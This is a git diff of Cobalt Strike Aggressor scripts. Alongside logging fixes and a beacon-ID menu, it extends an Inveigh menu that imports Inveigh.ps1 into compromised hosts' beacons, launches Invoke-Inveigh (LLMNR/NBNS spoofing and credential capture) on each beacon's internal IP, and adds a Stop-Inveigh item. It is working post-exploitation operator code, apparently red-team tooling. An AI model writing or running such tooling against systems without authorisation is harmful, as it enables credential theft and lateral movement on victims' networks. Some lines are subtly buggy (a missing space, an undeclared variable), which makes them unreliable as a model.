diff --git a/beaconCheckIn/beaconcheckin.cna b/beaconCheckIn/beaconcheckin.cna index 9fd0ae8..79ea9bc 100644 --- a/beaconCheckIn/beaconcheckin.cna +++ b/beaconCheckIn/beaconcheckin.cna @@ -10,7 +10,7 @@ popup beacon_bottom{ binput($bid, "checkin"); bcheckin($bid); on beacon_checkin{ - elog("Beacon: $bid checked in at $3 as requested"); + elog("Beacon: " . $1 . " checked in at $3 as requested"); } } } diff --git a/beaconInfo/beaconinfo.cna b/beaconInfo/beaconinfo.cna index 157df92..f92a3b9 100644 --- a/beaconInfo/beaconinfo.cna +++ b/beaconInfo/beaconinfo.cna @@ -4,6 +4,17 @@ command !beaconinfo { foreach $beacon (beacons()) { - println("BeaconID: " . $beacon['id'] . " is " . $beacon['computer']); + println("Beacon ID: " . $beacon['id'] . " is " . $beacon['computer']); } } + +popup beacon_bottom { + menu "Information" { + item "Beacon ID" { + local('$bid'); + foreach $bid ($1) { + blog($bid, "This beacon's ID is: " . binfo($bid, "id")); + } + } + } +} \ No newline at end of file diff --git a/inveigh/inveigh.cna b/inveigh/inveigh.cna index 7bcce45..c9fb57f 100644 --- a/inveigh/inveigh.cna +++ b/inveigh/inveigh.cna @@ -2,23 +2,32 @@ # @Und3rf10w popup beacon_bottom { - Menu "Inveigh"{ + menu "Inveigh"{ item "Import Inveigh.ps1"{ local ('$bid'); foreach $bid ($1){ - binput($1, "Imported Inveigh"); + binput($1, "powershell-import " . script_resource("inveigh/Scripts/Inveigh.ps1")); bpowershell_import($1, script_resource("inveigh/Scripts/Inveigh.ps1")); } } - item "Invoke-Inveigh" + item "Invoke-Inveigh" { local('$bid'); foreach $bid ($1){ # Load and execute specifying a specific local listening/spoofing IP using default settings # Prompt user to confirm that the IP address for the beacon is correct. - $beacon_ip = binfo($1, "internal"); - prompt_text("What is the internal IP address of this beacon?", " $beacon_ip " { - bpowershell($1, 'Invoke-Inveigh -IP $beacon_ip -OutputStreamOnly Y'); + $beacon_ip = binfo($bid, 'internal'); + prompt_text("What is the internal IP address of this beacon?", "$beacon_ip", { + binput($bid, "powershell Invoke-Inveigh -IP " . $beacon_ip . "-OutputStreamOnly Y"); + bpowershell($bid, "Invoke-Inveigh -IP " . $beacon_ip . " -OutputStreamOnly Y"); }); } + } + item "Stop-Inveigh" { + local('bid'); + foreach $bid ($1) { + binput($bid, "powershell Stop-Inveigh"); + bpowershell($bid, 'Stop-Inveigh'); + } + } } } \ No newline at end of file